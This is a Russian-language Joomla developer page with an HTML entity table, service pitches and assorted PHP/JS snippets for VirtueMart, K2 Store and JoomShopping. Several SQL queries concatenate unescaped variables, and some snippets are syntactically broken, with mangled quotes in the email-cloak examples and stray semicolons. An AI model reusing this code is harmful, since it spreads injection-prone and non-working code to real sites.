Новосибирск +7(383)

По всем вопросам :

Символ Описание символа Именной код Цифровой код
Euro Symbol € €
© Copyright © ©
® Registered Trademark ® ®
Trademark Sign (TM) ™ -
@ At Symbol - @
& Ampersand & &
Paragraph ¶ ¶
- Hyphen - -
En Dash – &#150
Em Dash — —
¬ Not Sign ¬ ¬
Single Left Pointing Angle ‹ -
Single Right Pointing Angle › -
« Double Left Pointing Angle « «
» Double Right Pointing Angle » »
Left Arrow ← -
Upward Arrow ↑ -
Right Arrow → -
Downward Arrow ↓ -
Black Spade Suit (Not available in Firefox) ♠ -
Black Clubs Suit (Not available in Firefox) ♣ -
Black Hearts Suit (Not available in Firefox) ♥ -
Black Diamond Suit (Not available in Firefox) ♦ -
` Grave Accent - `
´ Acute Accent ´ ´
¯ Macron Accent ¯ ¯
¨ Umlaut ¨ ¨
¸ Cedilla ¸ ¸
· Middle Dot · ·
º Masculine Ordinal º º
ª Feminine Ordinal ª ª
! Exclamation Mark - !
¡ Inverted Exclamation ¡ ¡
? Question Mark - ?
¿ Inverted Question Mark ¿ ¿
: Colon - :
; Semicolon - &#59;
, Comma - ,
. Period - .
Horizontal Ellipsis … …
' Apostrophe - '
* Asterisk - *
Dagger † -
Double Dagger ‡  
Per Mill Sign ‰ -
¹ Superscript 1 ¹ ¹
² Superscript 3 ² ²
³ Superscript 3 ³ ³
¼ One-Fourth Fraction ¼ ¼
½ One-Half Fraction ½ ½
¾ Three-Fourths Fraction ¾ ¾
^ Caret - ^
~ Tilde - ~
Overline (Overscore) ‾ -
_ Horizontal Bar (Underscore) - _
Left Single Quote ‘ -
Right Single Quote ’ -
Left Double Quote; “ -
Right Double Quote ” -
Single Low-9 Quote ‚ -
Double Low-9 Quote „ -
" Double Quotation Mark " "
/ Slash ⁄ /
\ Backslash - \
( Left Parenthesis - (
) Right Parenthesis - )
[ Left Square Bracket - [
] Right Square Bracket - ]
{ Left Curly Brace - {
} Right Curly Brace - }
| Vertical Bar - |
¦ Broken Vertical Bar ¦ ¦
% Percent Sign - %
# Number Sign - #
Euro Sign € €
$ Dollar Sign - $
¢ Cent Sign ¢ ¢
¥ Yen Sig ¥ ¥
£ Pound Sterling £ £
¤ General Currency Sign ¤ ¤
+ Plus Sign - +
× Multiplication Sign × ×
÷ Division Sign ÷ ÷
= Equals Sign - =
± Plus or Minus ± ±
< Less Than Sign &lt; &#60;
> Greater Than Sign &gt; &#62;
µ Micro Sign &micro; &#181;
° Degree Sign &deg; &#176;
§ Section Sign &sect; &#167;
Ø Uppercase O - Slash &Oslash; &#216;
ø Lowercase O - Slash &oslash; &#248;
0 Zero - &#48;
1 Number 1 - &#49;
2 Number 2 - &#50;
3 Number 3 - &#51;
4 Number 4 - &#52;
5 Number 5 - &#53;
6 Number 6 - &#54;
7 Number 7 - &#55;
8 Number 8 - &#56;
9 Number 9 - &#57;

Ваш сайт работает на CMS Joomla?

Тогда для вас мы можем разработать сосбственный компонент/ модуль/ плагин.

Если нет, то мы готовы взяться за перенос сайта на CMS Joomla !

Почему именно Joomla?

Joomla наделена массой достоинств, которые можно перечислять очень долго. И чем больше вы ее узнаете, тем объемнее будет список. Тем не менее, стоит назвать несколько весомых аргументов “за” эту систему управления:

  • Joomla распространяется бесплатно. Этот нюанс ценят как опытные веб-мастера, так и новички. Для последних, к слову, Joomla стала отличной площадкой для тренировки, за которую не нужно платить ни копейки.

  • Открытый системный код Joomla дает возможность изменять саму CMS. Конечно, здесь нужны дополнительные знания и умения, но наличие этой функции открывает перед профи двери в мир куда больших возможностей.

  • Огромное количество расширений и компонентов для создания масштабных проектов. Во-первых, они также находятся в открытом доступе. Во-вторых, обновления для них выпускаются регулярно. В-третьих, их установка занимает пару минут.

  • Безопасность также нужно выделить среди преимуществ Joomla, разработчики которой постоянно выпускают обновления для движка. Это делается в первую очередь для того, чтобы избавиться от уязвимостей, которые могут стать причиной взлома. Кроме того, регулярно выпускаются плагины, нацеленные на предоставление дополнительной защиты.

  • Joomla потребляет весьма небольшое количество ресурсов, в отличие от тех же Битрикс и Netcat. Поэтому даже создавая большой сайт с огромным количеством информации, можно рассчитывать, что он будет работать не менее эффективно чем небольшой проект.

  • Немаловажно и то, что большая часть модулей русифицированы.

  • Возможность оптимизировать сайт по SEO-продвижение

Зачем нужен компонент?

  • Компонент — это основное средство расширения функциональных возможностей Joomla и представляет собой набор страниц, которые обеспечивают определенный функционал и обладает интерактивным интерфейсом пользователя.

  • Компонентами в Joomla являются форумы, файловые архивы, галереи, системы сбора статистики, резервного копирования и т.д. Управление пользователями, создание разделов, добавление и отображение материалов — все это выполняют компоненты.

  • Компоненты в Joomla, обычно состоят из 2-х частей: административная панель компонента и фронтенд (сайт). Административная часть позволяет управлять содержим, администратор всегда может изменить данные, которые отображаются через компонент

Зачем нужен модуль?

Модуль — это одно из средств расширения функциональных возможностей Joomla.

В большинстве случев, модуль выполняет функции отображения информации и является дополнением к установленным компонентам. Как правило, модули располагаются в левой и правой колонке при трехколоночной верстке. Примером модулей является навигационное меню, календарь, список популярных статей и т.д. При публикации модуля можно указать в какой позиции шаблона сайта и на каких страницах он будет отображаться. Кроме того, большинство установленных в системе модулей можно скопировать — опубликовать несколько раз с разными параметрами (например модуль вывода популярных статей можно опубликовать для разных разделов).

Примеры наших компонентов:

В чем особенные преимущества интернет-магазина?

  •  Интернет-магазин представляет собой многостраничный сайт, где помимо каталога с товарами можно размещать новости компании, статьи, акции и информацию о бренде.

  •  Разработка интернет-магазина предполагает включение в функционал модулей, позволяющих делать покупку здесь и сейчас. При грамотном подходе к продвижению, Ваш сайт будет приносить реальную прибыль.

  • Низкие затраты. По сравнению с процессом организации продаж в обычных условиях, затраты на разработку интернет-магазина минимальны. Траты на продвижение и техническую поддержку сайта значительно меньше суммы, необходимой для аренды помещения, его содержания и оплаты труда сотрудников.

Какой функционал включен в интернет-магазин?

  • Личный кабинет - Регистрация на сайте позволит пользователю зафиксировать все личные данные, необходимые для доставки – они могут потребоваться для последующих покупок. 

  • Виртуальная корзина - Регистрация на сайте позволит пользователю зафиксировать все личные данные, необходимые для доставки – они могут потребоваться для последующих покупок. 

  • Система заказа - Нужна для подтверждения покупки. Пользователь указывает личные данные, выбирает желаемый вариант оплаты.

  • Платёжный модуль - Он дает возможность клиенту оплатить покупки с помощью банковской карты или виртуального кошелька. Все транзакции проводятся специализированными системами (Яндекс.Касса, Robokassa), которые подключаются на этапе разработки интернет-магазина.

 

Что необходимо для создания интернет-магазина?

  • Перечень товаров для наполнения каталога - фотографии, описание и цена.

  • Данные для внещних систем - Лицензии, данные юр.лица, сертификаты, ссылки на соц.сети и доски продвижений

  • Общая политика магазина - описание акции, описание формирования цены от условий клиента

Данная функция позволит создать миниатюра, удобно для представления в администивной части и галереи пользователя, нужно указать путь до оригинала и путь до будующей миниатюры и ее размер(можно ограничиться только один показателем высотой или шириной), картинка будет уменьшина пропорционально:

function create_thumb($image,$thumbimage,$h_o = false,$w_o = false) 
{
if (($w_o < 0) || ($h_o < 0)){return false;}
list($w_i, $h_i, $type) = getimagesize($image); // Получаем размеры и тип изображения (число)
$types = array("", "gif", "jpeg", "png"); // Массив с типами изображений
$ext = $types[$type]; // Зная "числовой" тип изображения, узнаём название типа
if ($ext)
{
$func = 'imagecreatefrom'.$ext; // Получаем название функции, соответствующую типу, для создания изображения
$img_i = $func($image); // Создаём дескриптор для работы с исходным изображением
} else {return false;}
/* Если указать только 1 параметр, то второй подстроится пропорционально */
if (!$h_o) $h_o = $w_o / ($w_i / $h_i);
if (!$w_o) $w_o = $h_o / ($h_i / $w_i);
$img_o = imagecreatetruecolor($w_o, $h_o); // Создаём дескриптор для выходного изображения
imagecopyresampled($img_o, $img_i, 0, 0, 0, 0, $w_o, $h_o, $w_i, $h_i); // Переносим изображение из исходного в выходное, масштабируя его
$func = 'image'.$ext; // Получаем функция для сохранения результата
return $func($img_o, $thumbimage); // Сохраняем изображение в тот же файл, что и исходное, возвращая результат этой операции
}

 

Потому что был написан до изобретения авторского права:

Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.

Данные можно получить запросив досутп к данным страницы

$config = JFactory::getApplication(); 

Далее запросить переменную по имени :

$sitename = $config->get('sitename');

Важные переменные:

  • offline - статус сайта, выключен или нет
  • offline_message - сообщение при выключенном сайте
  • display_offline_message - показывать ли сообщение о выключении сайта
  • sitename - имя сайта
  • host - хост БД
  • user -пользователь ДБ
  • password - пароль ДБ
  • db - база данных
  • dbprefix - префикс таблиц
  • mailfrom - почта администратора
  • fromname - подпись для почты администратора
  • MetaDesc - мета описания (используются когда не указаны в меню или странице)
  • MetaKeys - мета ключи (используются когда не указаны в меню или странице)

Решение это проблемы состоит в нескольких вариантах:

1.Статусы

Необходимо корректно настроить статусы, при которых будет отправляться письмо

Вкладка "Настройки" - "Электронная почта"

  • Статус заказа по умолчанию для создания выписанного счета - указать статус для нового заказа, должен быть "Pennding"
  • Статус заказа по умолчанию для отправки эл.письма покупателю - также указать "Pennding" + добавить другие интересующие статусы
  • Статус заказа по умолчанию для отправки эл.письма продавцу - также указать "Pennding" + добавить другие интересующие статусы

 email settings2

 Можно также указать принудительно статусы, которые будут формировать письмо. Необходимо отредактивровать файл administrator/components/com_virtuemart/models/orders.php

 // Send the email
                //$res = shopFunctionsF::renderMail('invoice', $order['details']['BT']->email, $vars, null,$vars['doVendor'],$this->useDefaultEmailOrderStatus);
                $sendMail = false;
                if(!$this->useDefaultEmailOrderStatus and isset($vars['newOrderData']['customer_notified']) and $vars['newOrderData']['customer_notified']==1){
                        $sendMail = true;
                } else {
                        $orderstatusForShopperEmail = VmConfig::get('email_os_s',array('U','C','S','R','X'));
                        if(!is_array($orderstatusForShopperEmail)) $orderstatusForShopperEmail = array($orderstatusForShopperEmail);
                        
                        $orderstatusForShopperEmail[] = 'P';//TODO: Фикс для того чтобы письма отправлялись покупателю сразу после заказа
                        if ( in_array((string) $vars['orderDetails']['details']['BT']->order_status,$orderstatusForShopperEmail) ){
                                $sendMail = true;
                                vmdebug('renderMail by default orderstati');
                        }
                }

2.Проблемы с доставщиком почты

Рекомендуется в настройках указать отправку через smtp

Если же вы используете phpmailer, необходимо в файле libraries/vendor/phpmailer/phpmailer/class.phpmailer.php исправить код:

private function mailPassthru($to, $subject, $body, $header='', $params='')
{
//Check overloading of mail function to avoid double-encoding
if (ini_get('mbstring.func_overload') & 1) {
$subject = $this->secureHeader($subject);
} else {
$subject = $this->encodeHeader($this->secureHeader($subject));
}
//Can't use additional_parameters in safe_mode
//@link http://php.net/manual/en/function.mail.php
if (ini_get('safe_mode') or !$this->UseSendmailOptions) {
$result = @mail($to, $subject, $body, $header);
} else

{
//$result = @mail($to, $subject, $body, $header, $params);
$result = @mail($to, $subject, $body, $header);
}
return $result;
}

3.Исправление функции отправки

Если первые два способа не помогли, то остается еще один - изенить саму функцию отправки письма.

Редактируем файл /components/com_virtuemart/helpers/shopfunctionsf.php необходимо функцию sendVmMail заменить на этот код:

public static function sendVmMail (&$view, $recipient, $noVendorMail = FALSE) 
{
ob_start();
$view->renderMailLayout( $noVendorMail, $recipient );
$body = ob_get_contents();
ob_end_clean();
$app = JFactory::getApplication();
$subject = (isset($view->subject)) ? $view->subject : vmText::_( 'COM_VIRTUEMART_DEFAULT_MESSAGE_SUBJECT' );
$email = new PHPMailer();
if(isset($view->mediaToSend)) { foreach( (array)$view->mediaToSend as $media ) {$email->AddAttachment($media);}}
$email->From='почта магазина';;
$email->FromName = $view->vendor->vendor_name;
$email->Subject = html_entity_decode( $subject , ENT_QUOTES, 'UTF-8');
$email->IsHTML(true);
$email->Body= $body;
$email->AddAddress($recipient);
$email->AddAddress('ваша почта';);
$return=$email->Send();
return $return;
}

 

Переменные:

1.$usermass - Массив строк(пользователей) для навигации 

2.$pagecount - кол-во страниц

3.$tabnav - выбранная страница

4.$sred - средняя страница в массиве

Доступ к этому контенту разрешен только участникам проекта.
Вы можете получить доступ,купив эту доработку

Алгоритм:

1.Если страниц меньше 6, то выводиться просто кнопки, без дробления

2.При кол-ве страниц больше 6, выводятся первые и последнии 2 страницы, а также:

2.1. Если номер выбранной страницы больше 1 то добавляем кнопку "Назад" и "вперед"

2.2. Если выбранная страница на границе +2 страниц от начала и конца, то в середине выводим среднее значение кол-ва страниц

2.3.Если выбранная страница вне границ +2 от начала и конца, то выводится номер выбранной страницы и +1 и -1 от этого значения

$document = JFactory::getDocument();
$renderer = $document->loadRenderer('module');
$options = array('style' => 'raw');
$module = JModuleHelper::getModule('mod_custom_banners');
$module->params = "heading=2\nlimit=10"; //как видим даже параметры задавать
echo $renderer->render($module, $options);
//или по позиции
$modules =JModuleHelper::getModules('position-0');
$attr = array('style' => 'xhtml');
foreach ($modules as $module){echo JModuleHelper::renderModule($module, $attr);}

Адрес со ссылкой

Код ниже выведет адрес электронной почты со ссылкой:

 

echo JHtmlEmail::cloak(Этот адрес электронной почты защищён от спам-ботов. У вас должен быть включен JavaScript для просмотра.');

Или альтернативный вариант (в дальнейшем я буду использовать только JHtmlEmail):

 

echo JHtml::_('email.cloak', Этот адрес электронной почты защищён от спам-ботов. У вас должен быть включен JavaScript для просмотра.');

На веб-сайте будет отображен адрес Этот адрес электронной почты защищён от спам-ботов. У вас должен быть включен JavaScript для просмотра. со ссылкой mailto.

Адрес без ссылки

Если вы хотите просто вывести замаскированный адрес электронной почты, то используйте следующий код:

 

echo JHtmlEmail::cloak(Этот адрес электронной почты защищён от спам-ботов. У вас должен быть включен JavaScript для просмотра.', false);

На веб-сайте будет отображен адрес Этот адрес электронной почты защищён от спам-ботов. У вас должен быть включен JavaScript для просмотра. без ссылки mailto.

Адрес, отличный от адреса в ссылке

Если вы хотите вывести замаскированный адрес электронной почты, ссылка которого ведет на другой адрес, используйте следующий код:

 

echo JHtmlEmail::cloak(Этот адрес электронной почты защищён от спам-ботов. У вас должен быть включен JavaScript для просмотра.', true, Этот адрес электронной почты защищён от спам-ботов. У вас должен быть включен JavaScript для просмотра.');

На веб-сайте будет отображен адрес Этот адрес электронной почты защищён от спам-ботов. У вас должен быть включен JavaScript для просмотра., но ссылка mailto будет вести на адрес Этот адрес электронной почты защищён от спам-ботов. У вас должен быть включен JavaScript для просмотра..

Фраза, залинкованная на адрес

И наконец, вы можете вывести фразу, которая будет залинкована на адрес электронной почты:

 

echo JHtmlEmail::cloak(Этот адрес электронной почты защищён от спам-ботов. У вас должен быть включен JavaScript для просмотра.', true, 'Свяжитесь с нами', false);

На веб-сайте будет отображена фраза Свяжитесь с нами, при этом ссылка mailto будет вести на адрес Этот адрес электронной почты защищён от спам-ботов. У вас должен быть включен JavaScript для просмотра..

Использовать скрипт

Необходимо будет разместить элемент с ID=emailtopstr, в который после отрисовки старницы будет добавлен адрес

<p>По всем вопросам : <span id="emailtopstr"></span></p>
<script language="JavaScript">
var login = 'admin';
var server = 'radgura.ru';
var email = login+'@'+server;
document.getElementById('emailtopstr').innerHTML=email;
</script>

Необходимо вставить код в файле index.php шаблона

if (isset($this->_generator)) $this->_generator='';

Добавить заголовок в фале php:

Header("Content-Type: text/html;charset=UTF-8");

 

Ответ на ajax запрос обернуть через функцию:

return iconv("windows-1251", "UTF-8", $ret);

 

$array = (array)$stdClass;
function objectToArray($d) {
if(is_object($d)) {
$d = get_object_vars($d);
}
if(is_array($d)) {
return array_map(__FUNCTION__, $d); // recursive
} else {
return $d;
}
}
function onBeforeCompileHead() {
$document = JFactory::getDocument();
$document->_script = str_replace('jQuery(\'.hasTooltip\').tooltip({"html": true,"container": "body"});', '', $document->_script);
}

Или

JFactory::getDocument()->addScriptDeclaration('(function($){$.fn.tooltip=function(){}})(jQuery);');

Или


JHTML::_('bootstrap.tooltip');
$document = JFactory::getDocument();
$document->_script = str_replace("jQuery(document).ready(function(){\n\tjQuery('.hasTooltip').tooltip({\"html\": true,\"container\": \"body\"});\n});", '', $document->_script);
function num2str($num) {
$nul='ноль';
$ten=array(
array('','один','два','три','четыре','пять','шесть','семь', 'восемь','девять'),
array('','одна','две','три','четыре','пять','шесть','семь', 'восемь','девять'),
);
$a20=array('десять','одиннадцать','двенадцать','тринадцать','четырнадцать' ,'пятнадцать','шестнадцать','семнадцать','восемнадцать','девятнадцать');
$tens=array(2=>'двадцать','тридцать','сорок','пятьдесят','шестьдесят','семьдесят' ,'восемьдесят','девяносто');
$hundred=array('','сто','двести','триста','четыреста','пятьсот','шестьсот', 'семьсот','восемьсот','девятьсот');
$unit=array( // Units
array('копейка' ,'копейки' ,'копеек', 1),
array('рубль' ,'рубля' ,'рублей' ,0),
array('тысяча' ,'тысячи' ,'тысяч' ,1),
array('миллион' ,'миллиона','миллионов' ,0),
array('миллиард','милиарда','миллиардов',0),
);
//
list($rub,$kop) = explode('.',sprintf("%015.2f", floatval($num)));
$out = array();
if (intval($rub)>0) {
foreach(str_split($rub,3) as $uk=>$v) { // by 3 symbols
if (!intval($v)) continue;
$uk = sizeof($unit)-$uk-1; // unit key
$gender = $unit[$uk][3];
list($i1,$i2,$i3) = array_map('intval',str_split($v,1));
// mega-logic
$out[] = $hundred[$i1]; # 1xx-9xx
if ($i2>1) $out[]= $tens[$i2].' '.$ten[$gender][$i3]; # 20-99
else $out[]= $i2>0 ? $a20[$i3] : $ten[$gender][$i3]; # 10-19 | 1-9
// units without rub & kop
if ($uk>1) $out[]= morph($v,$unit[$uk][0],$unit[$uk][1],$unit[$uk][2]);
} //foreach
}
else $out[] = $nul;
$out[] = morph(intval($rub), $unit[1][0],$unit[1][1],$unit[1][2]); // rub
$out[] = $kop.' '.morph($kop,$unit[0][0],$unit[0][1],$unit[0][2]); // kop
return trim(preg_replace('/ {2,}/', ' ', join(' ',$out)));
}
jQuery("#searchtext").keyup(function(e) {var code = e.which; if(code==13) jQuery('.searchtov').click();});         

Чтение номера кнопки:

jQuery("#searsh").keydown(function (e) { 
if (e.keyCode == 13) set_search();
});

Параметры компонента, шаблона, модуля, плагина Joomla

Если мы делаем компонент, модуль или плагин на Joomla, то без получения парметров, думаю, не обойтись.

Параметры плагина

Получение параметров внутри плагина:

$param=$this->params->get('paramName','defaultValue');

получение параметров вне плагина:

$plugin=&JPluginHelper::getPlugin('exampleType','example');
$pluginParams=new JParameter($plugin->params);
$param=$pluginParams->get('paramName','defaultValue');

Параметры модуля

получение внутри модуля:

$param=$params->get('paramName','defaultValue');

получение вне модуля:

$module=&JModuleHelper::getModule('example');
$moduleParams=new JParameter($module->params);
$param=$moduleParams->get('paramName','defaultValue');

Параметры компонента

получение параметров компонента:

$compo_params = JComponentHelper::getParams('com_filecheck');
$excludeFileList = $compo_params->get('excludeFileList', '');

Сохранение изменений:

$db = JFactory::getDbo(); 
$compo_params = JComponentHelper::getParams('com_filecheck');
$compo_params->set(param_name,param_value);
$query = $db->getQuery(true);
$query->update($db->quoteName('#__extensions'));
$query->set($db->quoteName('params') . '= ' . $db->quote((string)$compo_params));
$query->where($db->quoteName('element') . ' = ' . $db->quote('com_filecheck'));
$query->where($db->quoteName('type') . ' = ' . $db->quote('component'));
$db->setQuery($query);
$db->execute();

Параметры шаблона

получение параметров из шаблона:

$param=$this->params->get('paramName');

получение параметров вне шаблона:

jimport('joomla.filesystem.file');
$mainframe=&JFactory::getApplication();
$params=$mainframe->getParams(JFile::read(JURI::root().'/templates/template_name/params.ini'));
$param=$params->get('paramName','defaultValue');

Параметры шаблона из файла, минуя Joomla framework:

// Get params.ini relative to the current file location (use your own relative path here)
$paramsFile=dirname(__FILE__).'/../../params.ini';
 
// Only continue if the file exists
if(file_exists($paramsFile)){
   
// Get contents from params.ini file
   
$iniString=file_get_contents($paramsFile);
 
    // Escape double quotes in values and then double-quote all values (because Joomla doesn't do that for us..)
   
$iniQuoted=preg_replace('/=(.*)\\n/',"=\"$1\"\n",addcslashes($iniString,'"'));
 
    // Parse the ini string to an associative array
   
$iniParsed= parse_ini_string($iniQuoted);
}else{
   
$iniParsed='';
}
 
// Set params to obtained values or empty array
$params=(!empty($iniParsed)) ? $iniParsed:array();
 
// Get param value from array
$param=$params['paramName'];
function rus2translit($string) {
$converter = array(
'а' => 'a', 'б' => 'b', 'в' => 'v',
'г' => 'g', 'д' => 'd', 'е' => 'e',
'ё' => 'e', 'ж' => 'zh', 'з' => 'z',
'и' => 'i', 'й' => 'y', 'к' => 'k',
'л' => 'l', 'м' => 'm', 'н' => 'n',
'о' => 'o', 'п' => 'p', 'р' => 'r',
'с' => 's', 'т' => 't', 'у' => 'u',
'ф' => 'f', 'х' => 'h', 'ц' => 'c',
'ч' => 'ch', 'ш' => 'sh', 'щ' => 'sch',
'ь' => '', 'ы' => 'y', 'ъ' => '',
'э' => 'e', 'ю' => 'yu', 'я' => 'ya',
'А' => 'A', 'Б' => 'B', 'В' => 'V',
'Г' => 'G', 'Д' => 'D', 'Е' => 'E',
'Ё' => 'E', 'Ж' => 'Zh', 'З' => 'Z',
'И' => 'I', 'Й' => 'Y', 'К' => 'K',
'Л' => 'L', 'М' => 'M', 'Н' => 'N',
'О' => 'O', 'П' => 'P', 'Р' => 'R',
'С' => 'S', 'Т' => 'T', 'У' => 'U',
'Ф' => 'F', 'Х' => 'H', 'Ц' => 'C',
'Ч' => 'Ch', 'Ш' => 'Sh', 'Щ' => 'Sch',
'Ь' => '', 'Ы' => 'Y', 'Ъ' => '',
'Э' => 'E', 'Ю' => 'Yu', 'Я' => 'Ya',
);
return strtr($string, $converter);
}
function print_r(arr, level) {
var print_red_text = "";
if(!level) level = 0;
var level_padding = "";
for(var j=0; j<level+1; j++) level_padding += " ";
if(typeof(arr) == 'object') {
for(var item in arr) {
var value = arr[item];
if(typeof(value) == 'object') {
print_red_text += level_padding + "'" + item + "' :\n";
print_red_text += print_r(value,level+1);
}
else
print_red_text += level_padding + "'" + item + "' => \"" + value + "\"\n";
}
}
else print_red_text = "===>"+arr+"<===("+typeof(arr)+")";
return print_red_text;
}

Проверка на существование таблицы:

$db->setQuery("SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME = '#__rad_filecheck_found'");
$res=$db->loadresult();
if (strlen($res)<=0) {$db->setQuery("CREATE TABLE IF NOT EXISTS `#__rad_filecheck_found` (
`dir` varchar(254) NOT NULL,
`state` varchar(1) DEFAULT '0',
`md5` varchar(100) DEFAULT '0',
`line` text NOT NULL,
`exstr` varchar(100) DEFAULT '0',
`update_time` datetime
) ENGINE=MyISAM AUTO_INCREMENT=1;");
$db->execute();}

 

Проверка на существование поля:

$db = JFactory::getDbo();
$columns = $db->getTableColumns('#__jshopping_users');
if(!isset($columns['doc'])){$db->setQuery("ALTER TABLE #__jshopping_users ADD doc varchar(50), ADD doc_ser varchar(50), ADD doc_place varchar(200), ADD doc_date varchar(15) ");$db->execute();}

В компоненте k2_store за обновление цены отвечает плагин, поэтому если вы решили менять цену не на странице редактирования материала, то обязательно нужно обновлять поле plugins в таблице #__k2_items:

$db->setQuery("select plugins from #__k2_items where id='".$ids."' ");
$plugins=$db->loadresult();
if (trim($plugins)!=''){
$pluginsstr=(array)json_decode($plugins, true);
$pluginsstr['k2storeitem_price']=$price;
$pluginsstr['k2storespecial_price']=$sprice;
$plugins=json_encode($pluginsstr,true);
$db->setQuery("update #__k2_items set plugins='".$plugins."' where id='".$ids."' ");
$db->execute();
}
else
{
$plugins='{"k2storeitem_enabled":"1","k2storeitem_sku":"","k2storeitem_price":"0.00000","k2storespecial_price":"0.00000","k2storeitem_tax":"0","k2storeitem_shipping":"0","k2storeitem_metrics":{"item_length":"0.00000000","item_width":"0.00000000","item_height":"0.00000000","item_length_class_id":"0","item_weight":"0.00000000","item_weight_class_id":"0"},"k2storeitem_cart_text":"","k2StatisticHitscheck_item":"1"}';
$pluginsstr=(array)json_decode($plugins, true);
$pluginsstr['k2storeitem_price']=$price;
$pluginsstr['k2storespecial_price']=$sprice;
$plugins=json_encode($pluginsstr,true);
$db->setQuery("update #__k2_items set plugins='".$plugins."' where id='".$ids."' ");
$db->execute();
}

 

Если вам необходимо прочитать путь до изобрадения, которое загружено в материал, поможет код:

$db->setQuery("select images from #__content where id='ID' ");
$resimage=$db->loadresult();
$img=(array)json_decode($resimage, true);

Результатом будет массив, изображение можно найти по ключу "image_intro"
$foto=$img['image_intro'];

Для записи, после изменения, нужно также получить массив из БД и обновить элемент с ключом "image_intro", далее преоброзовать его в строку:

$db->setQuery("select images from #__content where id='ID");
$resimage=$db->loadresult();
$img=(array)json_decode($resimage, true);
$img['image_intro']=$foto;//обновление изображения
$imgstr=json_encode($img,true);
$db->setQuery("update #__content set ``images`='".$imgstr."' where id='ID'");
$db->execute();

 

Способы доставки формируются в файле:

components/com_jshopping/templates/default/checkout/shippings.php

Выводится в массиве, ищем код

foreach($this->shipping_methods as $shipping)

И добавляем условия, например тип пользователя:

$user = JFactory::getUser();
$is_opt=!$user->guest;
.....
$conn=false;
foreach($this->shipping_methods as $shipping){
if ($is_opt!='1' and in_array($shipping->sh_pr_method_id,array(1,3,5))) $conn=true;//розница
if ($is_opt=='1' and in_array($shipping->sh_pr_method_id,array(2,3,4))) $conn=true;//оптовые
if ($conn==true){ .... }

Цель данной статьи - помощь в размещении согласия на обработку персональных данных для разных интернет магазинов.

достаточно разместить подобный текст:

Нажимая на кнопку «Оформить заказ», я соглашаюсь с условиями Публичной оферты и на обработку моих персональных данных

1.Virtualmart3 с плагином OnePage

components\com_onepage\themes\<выбранная тема>\onepage.logged.tpl.php
components\com_onepage\themes\<выбранная тема>\onepage.unlogged.tpl.php

Ищем кнопку с id="confirmbtn_button" и ниже размещаем код

<p><small>Нажимая на кнопку «Оформить заказ», я соглашаюсь с условиями <a href="/<ссылка на договор-оферту>/" target="_blank"><small>Публичной оферты</small></a> и на обработку моих <a target="_blank" href="/<ссылка на согласние на обработку ПД>/"><small>персональных данных</small></a></small></p>

 

2.K2_store 3.x.x

 В каждом плагине оплаты разместите текст в в файле /tmpl/prepayment.php в элементе form

Стандартные плагины расположены здесь:

plugins/k2store/payment_banktransfer/payment_banktransfer/tmpl/prepayment.php
plugins/k2store/payment_cash/payment_cash/tmpl/prepayment.php
plugins/k2store/payment_offline/payment_offline/tmpl/prepayment.php

 

<p><small>Нажимая на кнопку «Завершить заказ», я соглашаюсь с условиями <a href="/<ссылка на договор-оферту>/" target="_blank"><small>Публичной оферты</small></a> и на обработку моих <a target="_blank" href="/<ссылка на согласние на обработку ПД>/"><small>персональных данных</small></a></small></p>

 

3.JoomShoping - использовать встроенный механизм опций

А)Включаем опцию "Заявление о конфиденциальности" в "Настройки-заказ".

Б)В "найтройки - статический текст" добавляем нужный текст текст "Заявление о конфиденциальности"

Г)В "Настройки - поля регистрации" включаем и делаем обязательным "Заявление о конфиденциальности"

Д)Через языковые константы изменить "Заявление о конфиденциальности" на "Согласие на обработку персональных данных"

 Файл, который выводит эти опции:

/components/com_jshopping/templates/default/checkout/adress.php

 

4.jboneclick

Необходимо добавить текст и ссылки в файле:

/../js/jquery.jboneclick.js

Заменить текст:

<form class="jb_form"></form><div class="pd_do"></div><div class="jb_success">

На:

<form class="jb_form"></form><div class="pd_do" style="padding: 5px;background: rgba(255, 255, 255, 0.52);"><div class="pd_po"><p><small>Нажимая на кнопку «Оформить заказ», я соглашаюсь с условиями <a href="/do" target="_blank"><small>Публичной оферты</small></a> и на обработку моих <a target="_blank" href="/pd"><small>персональных данных</small></a></small></p></div></div><div class="jb_success">

 

 5.AcyMaling - модулдь "Подписаться на рассылку"

Редактируем файл:

/modules/mod_acymailing/tmpl/default.php

Вставляем код перед </form>:

<p style="text-align:center;"><small>Нажимая на кнопку «Завершить заказ», я соглашаюсь с условиями <a href="/<ссылка на договор-оферту>/" target="_blank"><small>Публичной оферты</small></a> и на обработку моих <a target="_blank" href="/<ссылка на согласние на обработку ПД>/"><small>персональных данных</small></a></small></p>

 

Popop галерею можно сделать без jQuery, с минимальным затратами.

Размещаем блок всплывающего окна галереи на странице:

<div id="myModal" class="modal" style="display:none;">
<span class="close" onclick="document.getElementById('myModal').style.display='."'none'".'">Закрыть</span>
<img class="modal-content" id="myImg">
<div id="caption"></div>
</div>

Далее в блоке выводим миниатюры:

<div id="gal" style="display: flex;"><?php echo get_image_list($item->id,$dirs);?></div><hr style="margin-top:15px;">

Функция вывода фотографий(загрузка изображений из папки):

Доступ к этому контенту разрешен только участникам проекта.
Вы можете получить доступ,купив эту доработку

<div style="text-align: center;display:block;height:180px;width:280px;"><img id="myImg'.$ii.'" src="'.($img_src).'" alt="" class="arhimg"></div>
Доступ к этому контенту разрешен только участникам проекта.
Вы можете получить доступ,купив эту доработку

 Стили:

.arhimg{
display:inline;
width: 120px;height: auto;max-height: 120px;
background: white;
padding: 10px;
margin: 10px;
cursor: pointer;
}.arhimgblock:hover{transition:1.5s;transform:scale(1.02);} #myImg {
border-radius: 5px;
cursor: pointer;
transition: 0.3s;
} #myImg:hover {opacity: 0.7;} /* The Modal (background) */
.modal {
display: none; /* Hidden by default */
position: fixed; /* Stay in place */
z-index: 1; /* Sit on top */
padding-top: 100px; /* Location of the box */
left: 0;
top: 0;
width: 100%; /* Full width */
height: 100%; /* Full height */
overflow: auto; /* Enable scroll if needed */
background-color: rgb(0,0,0); /* Fallback color */
background-color: rgba(0,0,0,0.9); /* Black w/ opacity */
} /* Modal Content (Image) */
.modal-content {
margin: auto;
display: block;
width: 80%;
max-width: 700px;
